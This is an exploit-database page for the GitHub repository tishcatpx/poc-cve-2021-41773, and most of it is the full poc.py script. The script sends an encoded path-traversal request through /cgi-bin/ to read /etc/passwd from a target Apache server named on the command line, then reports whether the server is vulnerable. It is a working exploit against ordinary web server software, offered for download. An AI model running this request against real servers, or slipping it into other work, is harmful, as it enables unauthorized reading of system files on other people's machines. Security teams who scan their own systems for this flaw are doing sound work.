Exploit databaseDownload repository ZIP
GH-ae0a71f9488a82f5ff25a7a694f92a6c
tishcatpx/poc-cve-2021-41773
Sources for CVE-2021-41773
118 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
tishcatpx/poc-cve-2021-41773Revision c4f5ea7f045a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.py
Python · 749 bytesimport sys
import requests
if len(sys.argv)<2 :
print("Bad url!! \n example: python3 poc.py domainexample.com")
exit()
url = "http://"+sys.argv[1]+"/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0"
headers = {"user-agent": USER_AGENT}
try:
s = requests.Session()
response = requests.Request("GET",url, headers=headers)
prepare = response.prepare()
prepare.url = url
response_final = s.send(prepare, verify=False)
if response_final.text.find("root") == 0:
print("Vulnerable!!")
else:
print("No vulnerable!!")
except:
print("Bad url!! \n example: python3 poc.py domainexample.com")
exit()